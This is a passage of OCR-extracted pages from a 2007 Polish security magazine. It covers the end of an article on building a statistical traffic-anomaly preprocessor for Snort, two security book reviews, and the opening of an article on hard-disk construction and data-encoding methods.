W zasadzie powinniśmy poddać

zebrane dane szeregowi testów sta-
tystycznych, żeby sprawdzić jakie-
mu rozkładowi podlegają, jednak na
tym etapie wykorzystaliśmy po pro-
stu średnią i odchylenie standardo-
we. Za anomalię system uzna natę-
żenie ruchu odbiegające od średniej
o więcej niż m odchyleń standardo-
wych:

Gdzie:

- aktualna wartość natężenia

ruchu danego typu,

- wartość średnia ruchu (obli-

czona dla danych historycznych),

m – mnożnik,
- odchylenie standardowe odczy-

tane z profilu (obliczone dla danych
historycznych).

System sprawdza czy aktual-

nie zmierzona wartość ruchu znaj-

Rysunek 2.

Wykres 2

Rysunek 3.

Schemat ideowy systemu. Elementy zaznaczone na niebiesko

są częściami systemu AnomalyDetection.

Zapis logów

Odczyt profilu

Odczyt profilu

Odczyt logów

Preprocesor

AnomalyDetection

Preprocesory

Akwizycja

danych

Dekoder

Pakietów

Silnik

Detekcji

Pluginy

wyjściowe

Logi

Profil sieci

Generator profilu

sieci

background image

Detekcja anomalii ruchu sieciowego w programie Snort

hakin9 Nr 3/2007

www.hakin9.org

67

duje się w przedziale ograniczo-
nym przez wartość średnią, do któ-
rej została dodana wartość odchy-
lenia standardowego pomnożona
przez ustaloną przez użytkowni-
ka wartość mnożnika, oraz warto-
ścią średnią, od której została od-
jęta wartość odchylenia standardo-
wego pomnożona przez ustaloną
przez użytkownika wartość mnoż-
nika. Jeśli zmierzona wartość nie
znajduje się w tym przedziale, ge-
nerowany jest alert o odpowied-
niej treści (ruch za duży lub za
mały oraz typ ruchu). Oczywiście
wartość mnożnika m ustala admi-
nistrator programu. Sprawdzaniu
podlegają:

• Ruch TCP,
• Ruch ICMP,
• Ruch UDP,
• Ruch WWW,
• Ruch DNS,
• Liczba otwartych połączeń,
• Prędkość wysyłania danych,
• Prędkość odbierania danych.

Na kolejnym wykresie przedsta-
wiono statystykę ruchu TCP wraz
z miejscami, w których wygenero-
wane zostały alerty. Linią przery-
waną zaznaczona jest granica wy-
znaczona przez dodanie i odję-
cie od wartości średniej odchyle-
nia standardowego pomnożone-
go przez 2,5. Na większości wy-
kresów widać ją tylko ponad da-
nymi, które są zaznaczone na żół-
to. Jest to spowodowane tym, że
gdy wartość graniczna schodzi-
ła poniżej zera jej wartość usta-
wiana była na zero (pojęcie ujem-
nego natężenia ruchu sieciowego
nie ma sensu fizycznego). Czer-
wone krzyżyki oznaczają sytu-
acje, w których wygenerowany zo-
stał alert.

Parę szczegółów

System składa się z dwóch napi-
sanych przez nas programów. Jed-
nym z nich jest preprocesor reali-
zujący zapisywanie parametrów ru-
chu przechwyconego przez Snorta
w określonych odcinkach czasu oraz
porównywanie parametrów aktual-

nie przechwyconego ruchu z profi-
lem, drugim programem jest gene-
rator profili.

Przepływ danych w systemie ob-

razuje schemat ideowy systemu (Ry-
sunek 3.).

Listing 1.

Struktura pliku nagłówkowego

1

#ifndef __SPP_PREPROCESOR_H__

2

#define __SPP_PREPROCESOR_H__

3

void

SetupPreprocesor

(

void

);

4

typedef

struct

_PreprocStruct

{

5

int

x

;

6

char

*

string

;

7

}

PreprocStruct

;

8

int

PreprocCounter

=

0

;

9

void

mySecondFunction

(

char

*

str

);

10

extern

PreprocStruct

mySecondStruct

;

11

#

endif

Listing 2.

Struktura pliku spp_template.c jest następująca:

1

#include

<sys/types.h>

2

#

include

"plugbase.h

3 #include "

decode

.

h

"

4 #include "

spp_preprocesor

.

h

5

void

PreprocesorInit

(

u_char

*

args

);

6

void

PreprocesorFunc

();

7

void

PreprocesorCleanExitFunction

();

8

void

PreprocesorRestartFunction

();

9

void

SetupPreprocesor

(

void

)

{

10

printf

(

"Rejestruje preprocesor...

\n

"

);

11

RegisterPreprocessor

(

"preprocesor"

,

PreprocesorInit

);

12

}

13

static

void

PreprocesorInit

(

u_char

*

args

)

{

14

ParsePreprocesorArgs

((

char

*)

args

);

15

AddFuncToPreprocList

(

PreprocesorFunc

);

16

AddFuncToCleanExitList

(

PreprocesorCleanExitFunction

,

NULL

);

17

AddFuncToRestartList

(

PreprocesorRestartFunction

,

NULL

);

18

}

19

void

PreprocesorFunc

(

Packet

*

p

)

{

20

printf

(

"Przyszedl pakiet

\n

"

);

21

}

22

void

PreprocesorRestart

Function

()

{

23

}

24

void

PreprocesorCleanExit

Function

()

{

25

}

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

68

Preprocesory

Preprocesory są to dołączalne mo-
duły programu Snort. W przepływie
danych znajdują się one przed sil-
nikiem detekcji wykorzystującym re-
guły i są wywoływane w momen-
cie nadejścia pakietu. Snort jest
napisany w języku C, zatem pre-
procesory pisane są również za-
zwyczaj w C. Informacje na te-
mat preprocesorów dołączonych
do programu Snort znaleźć można
pod adresem: http://www.snort.org/

docs/snort_htmanuals/htmanual_

2.4/node11.html

Preprocesor powinno się pisać

w momencie, gdy nie jesteśmy w
stanie osiągnąć pewnej funkcjo-
nalności systemu poprzez napisa-
nie reguły. Ważne jest aby prepro-
cessor działał z rozsądną prędko-
ścią. Napisanie zbyt skomplikowa-
nego obliczeniowo preprocesora
(bardzo istotna jest optymalizacja
kodu) lub zbyt dużej ich liczby mo-
że spowodować ogólny spadek wy-
dajności systemu.

Autorzy programu dołączyli do

źródeł Snorta szablony preproce-
sora. Można je znaleźć w katalogu

$SNORT _ DIR/templates

. Są to dwa

pliki:

spp_template.h,
spp_template.c.

Instrukcje w liniach 1-3 są wymaga-
ne – pierwsze dwie to instrukcje ste-
rujące dla kompilatora, a trzecia to
prototyp funkcji rejestrującej bieżący
preprocesor przy inicjalizacji prepro-
cesorów przez Snorta. Pozostałe de-
klaracje są opcjonalne i mają sens w
przypadku, gdy zmienne będą uży-
wane przez kilka preprocesorów.

Pierwsze cztery instrukcje dołą-

czają niezbędne pliki nagłówkowe.
Kolejne instrukcje deklarują prototy-
py kolejno:

• Funkcji inicjalizującej preproce-

sor

• Funkcji głównej preprocesora
• Funkcji wywoływanej przy wy-

chodzeniu z programu

• Funkcji wywoływanej przy restar-

cie aplikacji

W liniach 9-12 zdefiniowana jest
funkcja rejestrująca preprocesor w
Snorcie (prototyp funkcji Register-
Preprocessor() znajduje się w pliku
plugbase.h, jej argumenty to nazwa
preprocesora z pliku konfiguracyjne-
go oraz funkcja inicjalizująca). Kolej-
ne 6 linii to definicja funkcji inicjalizu-
jącej preprocesor. W ciele tej funkcji
znajdują się kolejno:

-funkcja analizująca argumenty z

pliku konfiguracyjnego;

-funkcja dodająca funkcję głów-

ną preprocesora do listy preproce-
sorów Snorta;

-funkcja rejestrująca funkcję wy-

woływaną przy zamykaniu aplikacji
przez ctrl+c;

-funkcja rejestrująca funkcję wy-

woływaną przy restartowaniu apli-
kacji.

Od linii 19 znajdują się definicje

funkcji głównej preprocesora wy-
woływanej przez Snorta w momen-
cie przechwycenia pakietu oraz de-
finicje funkcji wywoływanych przy
zamykaniu i restartowaniu aplika-
cji. Te trzy funkcje budują (mery-
toryczną) funkcjonalność prepro-
cesora.

Po napisaniu, pliki źródłowe oraz

nagłówkowe preprocesora należy
skopiować do katalogu

$SNORT _ DIR/

src/preprocessors

. Aby dodać pre-

procesor do systemu Snort nale-
ży przed kompilacją całego syste-
mu kolejno:

1. Wyedytować plik

$SNORT _ DIR/

src/plugbase.c:

dodać pliki nagłówkowe naszego

preprocesora :

#include

“preprocessors/spp _

nowy.h”

//przykladowa nazwa pre-

procesora

dodać do ciała funkcji InitPrepro-

cessors() funkcję rejestrującą pre-
procesor

2. Wyedytować plik $SNORT_

DIR/src/preprocessors/Makefile
(jeśli już został wygenerowany)
lub

$SNORT _ DIR/src/preprocessors/

Makefile.in

(jeśli jeszcze nie zo-

stał wygenerowany przez polecenie
./configure) i dodać:

W sekcji l

ibspp _ a _ SOURCES =

spp _ arpspoof.c spp _ arpspoof.h (…)
spp _ spp _ nowy.c spp _ spp _ nowy.h

//spp _ nowy.*

są to przykładowe na-

zwy preprocesora

W sekcji

am _ libspp _ a _ OBJECTS

= (…)str _ search.$(OBJEXT) spp _
spp _ nowy.$(OBJEXT)

Należy skompilować (lub prze-

kompilować) Snorta za pomocą po-
lecenia: make, następnie zainstalo-
wać poleceniem: make install.

Po kompilacji należy dopisać do

pliku konfiguracyjnego Snorta, któ-
ry znajduje się domyślnie w

etc/

snort.conf

, w sekcji preprocesorów

stworzony przez nas preprocesor:

preprocessor nazwa_preprocesora:

argumenty.

Jeśli wszystko poszło zgodnie z

planem pozostaje tylko cieszyć się
nową funkcjonalnością.

Przedstawiony projekt jest

oczywiście jeszcze na bardzo
wczesnym etapie rozwoju. Warto
zastanowić się na przykład nad tym
czy system powinien mieć możli-
wość automatycznego uczenia się,
zmian profilu sieci (można to zreali-
zować choćby przez cykliczne wy-
woływanie generatora profili połą-
czone z usuwaniem informacji o
najstarszych historycznych warto-
ściach ruchu). Takie metody sto-
suje się zazwyczaj w tego typu
rozwiązaniach, żeby uniknąć nad-
miaru fałszywych alertów typu fal-
se positive. W takich przypadkach
atakujący może jednak przyuczyć
system do nierozpoznawania jego
aktywności powoli oswajając go ze
zmianami profilu. Innymi elementa-
mi, które planujemy w ramach roz-
wijania systemu są: tworzenie pro-
filu dla każdego hosta w sieci, ana-
liza i rozpoznanie rozkładów staty-
stycznych poszczególnych typów
ruchu, implementacja analizy za-
leżności pomiędzy poszczególnymi
parametrami (np. stosunek liczby
wysłanych pakietów TCP do liczby
odebranych pakietów TCP), anali-
za poprawności uzyskanego wyni-
ku przed dodaniem go do logów,
zapis i analiza pakietów przechwy-
conych w momencie wykrycia ano-
malii. Oczywiście wszystkich za-
interesowanych zapraszamy ser-
decznie do współpracy. l

background image

hakin9 Nr 3/2007

www.hakin9.org

69

Tytuł: Bezpieczeństwo w Windows Server 2003 Kompendium

Autor: Roberta Bragg

Wydawnictwo: Addison Wesley / Helion
Rok wydania: 2006

Stron: 1227

Księgozbiór

„Bezpieczeństwo…” nie jest książką, którą można pole-
cić początkującym administratorom Windows 2003. Od
czytelnika wymagana jest przynajmniej podstawowa
znajomość zasad funkcjonowania usługi Active Directo-
ry oraz świadomość możliwości jakie oferuje ten system.
Nie ma w tej publikacji objaśnień krok po kroku wprowa-
dzających w mechanizmy działające na serwerze. Nie
znajdziemy w niej jakże popularnych „wyklików” uczą-
cych gdzie, co i jak należy włączyć, ani spisu zasad
zabezpieczeń do wdrożenia. Nie doszukamy się opisów
słabych punktów systemu, czy wskazówek jak je zabez-
pieczyć.

Opracowanie Roberty Bragg zdecydowanie tego

typu uproszczeń unika. Autorka oparła konstrukcję swojej
publikacji na domyślnej polityce bezpieczeństwa informa-
cji, zaprezentowanej , w ogromnym rzecz jasna skrócie w
rozdziale pierwszym. Następne rozdziały – ich kolejność i
omawiane zagadnienia są logicznym tej polityki rozwinię-
ciem. Na ponad 1200 stronach podzielonych na 7 części

i 19 rozdziałów analizujemy razem z Robertą tematykę
uwierzytelniania i autoryzacji, zastanawiamy się jaka poli-
tyka w kwestii haseł przyniesie najlepsze rezultaty, badamy
zagadnienia poprawnego nadawania uprawnień i przywile-
jów. Zastanawiamy się nad rolą, jaką w bezpieczeństwie
domeny pełni usługa ActiveDirectory, porównujemy roz-
wiązania Win2003 z tymi znanymi z NT 4.0. Przeanali-
zujemy także kwestię zabezpieczeń samej usługi. W publi-
kacji nie zabrakło omówienia systemu szyfrowania plików
EFS czy zagadnień związanych z infrastrukturą klucza
publicznego. Pod koniec znalazły swoje miejsce także
kwestie dotyczące konserwacji, monitorowania, odtwarza-
nia danych czy zabezpieczania sieci wirtualnych. Jak więc
widać z tego bardzo skrótowego omówienia , praca Rober-
ty Bragg, zasługuje na miano kompendium. Kompendium
skierowanego do bardzo świadomego, wręcz dojrzałego
administratora sieci, nastawionego na dokładniejsze zro-
zumienie, a przez to lepsze zastosowanie filozofii bezpie-
czeństwa jaką propaguje i wspiera Windows 2003 Server.

Tytuł: Bezpieczeństwo protokołu TCP/IP kompletny przewodnik

Autor: Libor Dostálek

Wydawnictwo: Mikom

Rok wydania: 2006

Stron: 768

Jak nietrudno się domyślić – bezpieczeństwo protokołu
TCP/IP to temat rzeka. Łatwo jest w nim utonąć i łatwo się
pogubić. To pierwsze grozi czytelnikowi, którego wiedza
na temat protokołu jest bardzo podstawowa, to drugie nato-
miast grozi autorom, którzy zdecydują się zabrać za opisy-
wanie tak obszernego tematu . Libor Dostálek, który wraz
z grupą współautorów pokusił się o napisanie kompletne-
go przewodnika po bezpieczeństwie protokołu, wyszedł z
tej próby obronną ręką. Otrzymaliśmy bowiem ogromnie
ciekawą książkę, upakowaną konkretną wiedzą, unikającą

wodolejstwa, choć nie da się ukryć, że autorzy mają nieja-
ką czkawkę związaną z historią kraju, a wysiłki tłumacza by
coś z tym fantem uczynić tylko ją podkreślają.

Prócz tego akcentu „folklorystycznego”, w książce trudno

znaleźć słabsze momenty, chociaż osoby przyzwyczajone
do „klasycznego” opisu warstw lub też lubujące się w ska-
kaniu po lekturze mogą mieć problemy z zaakceptowaniem
zaproponowanej kolejności omawianych zagadnień.

Można natomiast zastanawiać się z jakiego powodu

omówienie OpenSSL znalazło się na samym końcu publika-
cji w sytuacji, kiedy spora część prezentowanego wcześniej
materiału w jakimś sensie bazuje na tym pakiecie.

Reasumując - „Bezpieczeństwo” jest pozycją po którą

warto sięgnąć, a Mikom jeszcze raz potwierdził, że książ-
ki oznaczone symbolem „zakazu wjazdu” to publikacje na
dobrym poziomie, które po prostu należy znać.

Recenzje opracowali Krystyna Wal i Łukasz Długosz z
zespołu InfoProf (http://www.infoprof.pl/). Książki do recen-
zji udostępniła Księgarnia Informatyczna w Krakowie (http:
//www.informatyczna.pl/
).

background image

www.hakin9.org

hakin9 Nr 3/2007

70

Sprzęt

P

ierwszy w historii twardy dysk poja-
wił się w 1957 roku. Wtedy to IBM za-
prezentował urządzenie o nazwie RA-

MAC 350 – złożony z pięćdziesięciu 24-calo-
wych dysków zespół miał pojemność 5 MB, a
koszt jego rocznej dzierżawy wynosił 35 tys.
dolarów; jak nietrudno policzyć, oznaczało to
7 tys. dolarów za megabajt. W epoce maszyn
mainframe budowano całe farmy dysków z
zamkniętymi w klimatyzowanych pomiesz-
czeniach zestawami talerzy o średnicach 14
czy 8 cali, wartymi grube dziesiątki tysięcy
dolarów. Pojawienie się IBM PC w roku 1981
wcale nie zapowiadało rewolucji w dziedzi-
nie pamięci masowych – system operacyjny

prapeceta zawierał procedury obsługi pamię-
ci w postaci magnetofonu kasetowego, choć
oczywiście istniała także możliwość korzy-
stania ze stacji dyskietek. Lista opcjonalnego
wyposażenia IBM PC/XT z roku 1983 obej-
muje już twardy dysk o pojemności 5 lub 10
MB – ówczesne napędy o znajomej średni-
cy 5,25 miały wysokość trzech cali (podob-
nie zresztą, jak wczesne stacje dyskietek) i
stąd właśnie określenie full height (współcze-
sny czytnik CD-ROM to half height). W roku
1984 Western Digital skonstruował – dzierżą-

cy przez kilka lat godność standardu przemy-
słowego, zastosowany w IBM PC/AT interfejs
ST506, zaś w 1986 roku opracowano wraz z
firmą Compaq znany dziś interfejs IDE (Inte-

grated Drive Electronics). Mniej więcej rok
później w komputerach stacjonarnych zaczę-
to instalować dyski 3,5 (o wysokości 1, czyli

low profile) – dopiero potem znalazły one za-
stosowanie w laptopach. Postęp technologii
powodował ciągły wzrost pojemności i szyb-
kości urządzeń, przy jednoczesnym spadku
zapotrzebowania na energię, coraz mniejszej
hałaśliwości i większej niezawodności. Wyni-
ki tego wyścigu obserwujemy na co dzień.

Dyski Twarde

Rafał Podsiadły

stopień trudności

Historia pamięci masowych sięga połowy dziewiętnastego wieku

– już wtedy używano kart perforowanych do wprowadzania

danych do mechanicznych maszyn liczących. Pierwsze

elektroniczne komputery korzystały z pamięci zbudowanej z

lamp elektronowych, potem zaczęły pojawiać się różne pamięci

magnetyczne: bąbelkowe, taśmowe, bębnowe.

Z artykułu dowiesz się...

• budowa dysku twardego,
• informacje dotyczące możliwych do wystąpie-

nia awarii,

• pojęcia dotyczące twardych dysków.

Co powinieneś wiedzieć...

• podstawowe pojęcia dotyczące twardych dys-

ków.

background image

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

71

Dysk twardy – budowa

Dysk stały to wirujący talerz lub ze-
spół talerzy o powierzchni pokry-
tej nośnikiem magnetycznym, a od-
powiednio ustawiane na tych po-
wierzchniach głowice zapisują i od-
czytują dane.

Budowa HDD

(Hard Disc Driver)

W dalszej kolejności dysk twar-
dy można podzielić na następujące
strefy: obudowa, elementy elektro-
niczne, elementy mechaniczne, ele-
menty magnetyczne.

Obudowa

Zadaniem obudowy jest ochrona
znajdujących się w niej elementów
przed uszkodzeniami mechanicz-
nymi a także przed wszelkimi czą-
steczkami zanieczyszczeń znajdu-
jącymi się w powietrzu. Jest to ko-
nieczne, gdyż nawet najmniejsza
cząstka kurzu ma wymiary większe
niż odległość pomiędzy głowicą, a
powierzchnią nośnika, tak więc mo-
głaby ona zakłócić odczyt danych,
a nawet uszkodzić powierzchnię
bardzo szybko obracającego się
talerza dysku. W obecnych obudo-
wach jest umieszczana mała dziu-
ra, która zapewnia wyrównywanie
ciśnienia w dysku. Ponieważ szyb-
ko obracające się talerze zmienia-
ją ciśnienie wewnątrz urządzenia,
konieczna jest jego regulacja, przez
zamontowany otwór posiadający

odpowiednie filtry oczyszczające
powietrze z pyłków i różnego rodza-
ju zanieczyszczeń.

Dysk twardy firmy Seagate

Elementy elektroniczne – Głównym
celem podzespołów elektronicznych
jest kontrola ustalenia głowicy nad
wybranym miejscem dysku, odczyt
i zapis danych oraz ich ewentualna
korekcja. Jest to w zasadzie osobny
komputer, którego zadaniem jest je-
dynie obsługa dysku.

Elementy magnetyczne

Nośnik magnetyczny, umieszczony
na wielu wirujących talerzach wyko-
nanych najczęściej ze stopów alumi-
nium. Zapewnia to ich niewielką ma-
sę, a więc niewielką bezwładność,
co umożliwia zastosowanie silników
napędowych mniejszej mocy, a tak-
że szybsze rozpędzanie się talerzy
do prędkości roboczej.

Elementy mechaniczne

Zadaniem tych elementów jest
szybkie przesuwanie głowicy nad
wybrane miejsce na dysku reali-
zowane za pomocą ramienia. W
tej technologii wskazane jest sto-
sowanie materiałów lekkich o du-
żej wytrzymałości, co dzięki małej
ich bezwładności zapewnia szyb-
kie i sprawne wykonywanie posta-
wionych zadań. Ważny jet tu także
silnik pozwalający obracać talerza-
mi dysku.

Głowica

W nowoczesnych konstrukcjach sto-
suje się tak zwane głowice magneto-
rezystywne. Powinno się raczej uży-
wać określenia hybrydowe – do za-
pisu danych służy elektromagnetycz-
na głowica cienkowarstwowa (jej mi-
kroskopijna ceweczka ma około 10
zwojów), głowica magnetorezystyw-
na (cienko foliowa) służy do odczytu.
Pierwsze z nich to tradycyjne głowice
z rdzeniem wykonanym z tlenków że-
laza oraz cewką elektromagnetyczną.
Głowice te są cięższe i większe niż
głowice cienko foliowe. Wymagają też
większej wysokości zawieszenia nad
wirującym dyskiem. Głowice cienko
foliowe są układami półprzewodniko-
wymi. Są one produkowane w proce-
sie zgodnym z produkcją innych ukła-
dów scalonych, z tą różnicą, że mu-
szą one mieć kształt odwróconej lite-
ry U, aby zapewnić właściwe ciśnienie
powietrza. Głowice te są lżejsze i za-
wieszone są na wysokości około mi-
lionowych części cala nad wirującym
dyskiem. Zmniejszona wysokość za-
wieszenia umożliwia transmisję sil-
niejszego sygnału pomiędzy głowicą
a dyskiem, co z kolei zwiększa nie-
zawodność. Głowica takawykorzystu-
je efekt zmiany oporności elektrycz-
nej specjalnego materiału (stop żela-
za i niklu) przy zmianie pola magne-
tycznego i jest o wiele czulsza od gło-
wicy elektromagnetycznej. Pozwala
to znacznie zmniejszyć powierzchnię
zajmowaną przez każdy bit informacji,
a więc – zwiększyć gęstość zapisu.

Dysk posiada dwie głowice dla

każdej powierzchni. Pierwsza do-
konuje zapisu, druga odczytu. Tak
więc dysk posiadający dwa talerze
i mający cztery powierzchnie, posia-
da w rzeczywistości osiem głowic.
Wszystkie głowice połączone są jed-
nym mechanizmem i poruszają się
jednocześnie. Każda z głowic zamo-
cowana jest na końcu ramienia, któ-
re, gdy dysk nie pracuje (jest w sta-
nie spoczynku), dociska głowice do
powierzchni talerzy za pomocą sprę-
żyn. Dopiero po osiągnięciu wyma-
ganej prędkości obrotowej nastę-
puje ich gwałtowne wysunięcie nad
powierzchnię dysku i ustawienie nad
cylindrem zerowym. Podczas obro-

Rysunek 1.

Wnętrze twardego dysku

WNĘTRZE TWARDEGO DYSKU

Talerz dysku

Ramie

głowicy

Układ pozycjonowania

głowicy

Głowica dysku

Wewnętrzne

łącza głowicy

z kontrolerem

dysku

background image

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

72

tów dysku nie stykają się one z jego
powierzchnią – powstająca w wyni-
ku szybkich obrotów talerzy podusz-
ka powietrzna utrzymuje głowice tuż
nad dyskiem. Rozwiązanie takie na-
zywane jest pływającymi głowicami i
jak na razie jest bezkonkurencyjne i
stosowane powszechnie, chociaż są
już w toku prace nad innymi sposo-
bami prowadzenia głowic.

Standardowe głowice zapisują-

co-odczytujące (zwane też głowica-
mi cienkowarstwowymi) posiadają
miniaturową cewkę, która umożliwia
zapis danych na płycie magnetycz-
nej lub ich odczyt. Gdy na twardym
dysku zapisywane są dane, specjal-
ny układ elektroniczny wysyła impulsy
elektryczne do cewki. W ten sposób
powstaje pole magnetyczne, które po-
rządkuje poszczególne cząstki na po-
wierzchni dysku. W przypadku odczy-
tu danych następuje procedura od-
wrotna. Namagnesowana powierzch-
nia dysku indukuje prąd w cewce, któ-
ry jest następnie przetwarzany przez
układ elektroniczny napędu. Nowo-
czesne dyski twarde wyposażone są
w dodatkową głowicę magnetorezy-
stywną (MR), umożliwiającą odczyty-
wanie danych z powierzchni nośnika.
Głowica zawiera pewną domieszkę
specjalnego stopu żelaza i niklu, któ-
ry pod wpływem pola magnetycznego
zmienia swój opór elektryczny. Do za-
pisu danych jest natomiast w dalszym
ciągu wykorzystywana głowica cien-
kowarstwowa. Zasadniczą zaletą ta-
kiego rozwiązania jest fakt, że głowi-
cą MR potrafi prawidłowo rozpozna-
wać dane także wtedy, gdy dysk ob-
raca się z dużą prędkością, a sektory
ułożone są bardzo gęsto.

Zmiany prądu

w uzwojeniu głowicy

Istnieje wiele metod zapisu infor-
macji cyfrowej na nośniku magne-
tycznym. Rysunek ilustruje zmia-
ny prądu magnesującego w głowi-
cy zapisu dla kilku metod, w przy-
padku gdy na odcinku nośnika ma-
gnetycznego chcemy zapisać nastę-
pujący, przykładowy ciąg informacji:
01111011000. Metoda Bez powro-

tu do zera (ang. Non Return to Ze-

ro, NRZ) polega na tym, że zmiana
kierunku prądu w głowicy zapisu na-
stępuje w chwili zmiany wartości ko-
lejnych bitów informacji. Zmiana kie-
runku prądu nie występuje podczas
zapisywania ciągu zer lub jedynek.
Metoda ta nie posiada możliwości
samosynchronizacji, tzn. z informa-
cji odczytanej nie da się wydzielić
impulsów (synchronizujących) okre-
ślających położenie komórki bito-
wej. W Metodzie Modulacji często-

tliwości (ang. Frequency Modulation,

FM), przy modulacji FM prąd głowi-
cy zapisu zmienia kierunek na po-
czątku każdej komórki bitowej, oraz
w środku komórki, gdy zapisywa-
ny bit ma wartość jedynki. Metoda
zmodyfikowanej modulacji częstotli-
wości (MFM). Metoda FM nazywana
jest także zapisem z pojedynczą gę-
stością i jest stosowana standardo-
wo w dyskietkach 8-calowych. Meto-
da MFM nazywana jest metodą z po-
dwójną gęstością, dzięki niej podwa-
jana jest pojemność dyskietki. Stosu-
je się tu następującą regułę:

• 1.bit o wartości 1 ustawia impuls

zapisujący pośrodku komórki bi-
towej (interwału czasowego);

• 2.bit o wartości 0 ustawia impuls

na początku komórki bitowej,
lecz tylko wtedy, gdy poprzedni
bit nie jest równy 1.

W metodzie tej dla odtworzenia da-
nych, w trakcie odczytu stosowany jest
układ z pętlą synchronizacji fazy PLL
(ang. Phase-Locked Loop), tworzący
ciąg impulsów taktowych (READ DA-
TA WINDOW – RDW), na podstawie
impulsów odczytanych z głowicy od-
czytu o nazwie READ DATA. Metoda
RLL (ang. Run-Length-Limited) redu-

kuje o ok. 35 procent ilość przemagne-
sowań nośnika – można zatem, przy
niezmienionej maksymalnej częstotli-
wości pracy, półtorakrotnie zwiększyć
gęstość zapisu danych.

Porównanie

metod zapisu

Zapis danych binarnych w formie
magnetycznej nie jest dokonywa-
ny bezpośrednio „bit w bit” – dane
przeznaczone do zapisu są kodowa-
ne według pewnych algorytmów, któ-
rych zadaniem jest usprawnienie od-
czytu, a także zapewnienie większej
jednoznaczności zapisu. Kodowa-
nie danych przeznaczonych do zapi-
su składa się z dwu faz – najpierw do
zapisywanych danych dodawane są
dane nadmiarowe umożliwiające de-
tekcję i korektę ewentualnych błędów
odczytu (CRC – Cyclic Redundancy

Code – najprostszy, a zarazem je-
den z najefektywniejszych algoryt-
mów wprowadzania danych nadmia-
rowych dla celów korekcji błędów),
następnie zaś wynikowe wartości są
przekształcane tak, by uniknąć po-
wtarzania dłuższych ciągów powta-
rzających się zer czy jedynek.

Historycznie pierwszym syste-

mem kodowania danych był MFM,
dziś już zupełnie nie stosowany, wy-
party następnie przez kodowanie RLL

(Run Lenght Limited) stosowane w
dyskach sztywnych do niedawna, a
wciąż jeszcze używane przy zapisie
na dyskietkach. Obecnie powszech-
nie stosowaną techniką kodowania
danych na dysku jest PRML (Par-

tial Response Maximum Likelihood),
która zapewnia największą efektyw-
ną gęstość zapisu, a także najniższą
stopę błędu odczytu danych. Techni-
ka PRML wymaga stosowania w ukła-
dach sterujących dysku specjalizowa-
nych procesorów o dużej mocy, jed-
nak technologie krzemowe są obec-
nie na tyle tanie, że uzyskiwane dzię-
ki nim zwiększenie gęstości zapisu z
nawiązką wyrównuje nieco wyższy
koszt wbudowanej w dysk elektroniki

PRML (Partial Response

Maximum Likelihood)

Większość napędów jeszcze do nie-
dawna podczas odczytu danych uży-

Rysunek 2.

Przepływ prądu w

głowicy

GŁOWICA

Prąd zapisu płynący

w uzwojeniu

głowicy

I

z

background image

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

73

wała techniki zwanej peak detection
(wykrywanie wartości ekstremalnych
– maksimum siły sygnału). W miarę
wzrostu gęstości zapisu rozróżnienie
sąsiednich wartości szczytowych sy-
gnału od siebie nawzajem i od tzw.
tła stawało się coraz trudniejsze. Pro-
blem ten rozwiązywano wstawiając
pomiędzy sąsiadujące szczyty (jedyn-
ki) rozdzielające chwile ciszy (zera).
Takie postępowanie sprowadzało się
do kodowania zerojedynkowych cią-
gów za pomocą ciągów bardziej przej-
rzystych, czyli łatwiej identyfikowal-
nych, lecz z konieczności dłuższych.
To oczywiście obniżało efektywną gę-
stość zapisu danych, a w konsekwen-
cji także wydajność napędu.

Z pomocą przyszła opracowana

na potrzeby długodystansowej ko-
munikacji w przestrzeni kosmicznej
technologia PRML (Partial Respon-

se Maximum Likelihood). Pochodzą-
cy z głowicy odczytującej analogo-
wy sygnał jest próbkowany w wie-
lu miejscach, a następnie cyfrowo fil-
trowany przez wbudowany w elektro-
nikę dysku dedykowany procesor sy-
gnałowy DSP. Uzyskaną w ten spo-
sób próbkę analizuje się algorytmem
Viterbi. Sprawdza on wszystkie kom-
binacje danych, które mogły wygene-
rować zbliżony ciąg i wybiera tę naj-
bardziej prawdopodobną. Umożliwia
to dodatkowe zwiększenie czułości
kanału odczytu i istotne zmniejsze-
nie prawdopodobieństwa wystąpienia
błędów odczytu. Najlepsze efekty da-
je połączenie technologii PRML z ma-
gnetorezystywną głowicą odczytują-
cą ze względu na dobrą jakość gene-
rowanego przez nią sygnału analogo-
wego. Głowica magnetorezystywna

(MRH) wykorzystuje inne zjawisko fi-
zyczne niż głowice, zbliżone konstruk-
cją do stosowanych w zwykłych ma-
gnetofonach. Element czytający MRH
jest wykonany z substancji zmieniają-
cej opór w polu magnetycznym, więc
namagnesowanie nośnika bezpo-
średnio rzutuje na natężenie płyną-
cego przez głowicę MR prądu. Istot-
ną zaletą technologii MR jest więk-
sza czułość, pozwalająca na radykal-
ne zwiększenie gęstości zapisu, czy-
li wzrost pojemności napędu przy za-
chowaniu jego rozmiarów.

PRML oznacza także inną meto-

dę kodowania danych na dysku: o ile
przejście ze starej metody MFM (Multi-

ple Frequency Modulation) na bardziej
zaawansowaną RLL (Run Length Li-

mited) oznaczało wzrost upakowania
danych o około 50%, PRML daje tu
kolejne 20-40% zysku (różne źródła
podają różne wartości).

Nawigacja – ramię głowicy

Kiedyś na potrzeby nawigacji zarezer-
wowana była cała jedna powierzchnia
dysku, na której zapisane były znacz-
niki ścieżek i sektorów dla pozosta-
łych głowic. System taki nazywał się

dedicated servo, a głowica musiała
w nim regularnie korzystać ze ścieżki
sterującej, aby zoptymalizować swoją
pozycję. Dzisiejsze napędy posługują
się technologią embedded servo, któ-
ra wykorzystuje informacje sterujące
zapisane na każdej ścieżce. Znaczni-
ki umieszczone są na powierzchniach
roboczych i przemieszane z obszara-
mi danych. W celu uniknięcia błędów
odczytu głowica musi znajdować się
dokładnie nad środkiem danej ścież-
ki. Umieszczenie znaczników pośród

obszarów danych pozwala głowicy
zapisująco – odczytującej korzystać
z nich przez cały czas, co umożliwia
dokładniejsze pozycjonowanie. Ra-
mię dysku często jest kojarzone z ra-
mieniem gramofonu, jednak takie sko-
jarzenie nie jest zasadne. Podczas
gdy ramię gramofonu było prowadzo-
ne przez ścieżkę zapisu na płycie, to
z ramieniem głowic dysku jest zupeł-
nie inaczej – musi ono być ustawione
tak, by głowice znalazły się nad od-
czytywaną właśnie ścieżką (czy ra-
czej – na odczytywanym cylindrze).
W pierwszych konstrukcjach dysków
sztywnych pozycjonowanie głowic by-
ło realizowane przez mechanizm na-
pędzany silnikiem krokowym (rozwią-
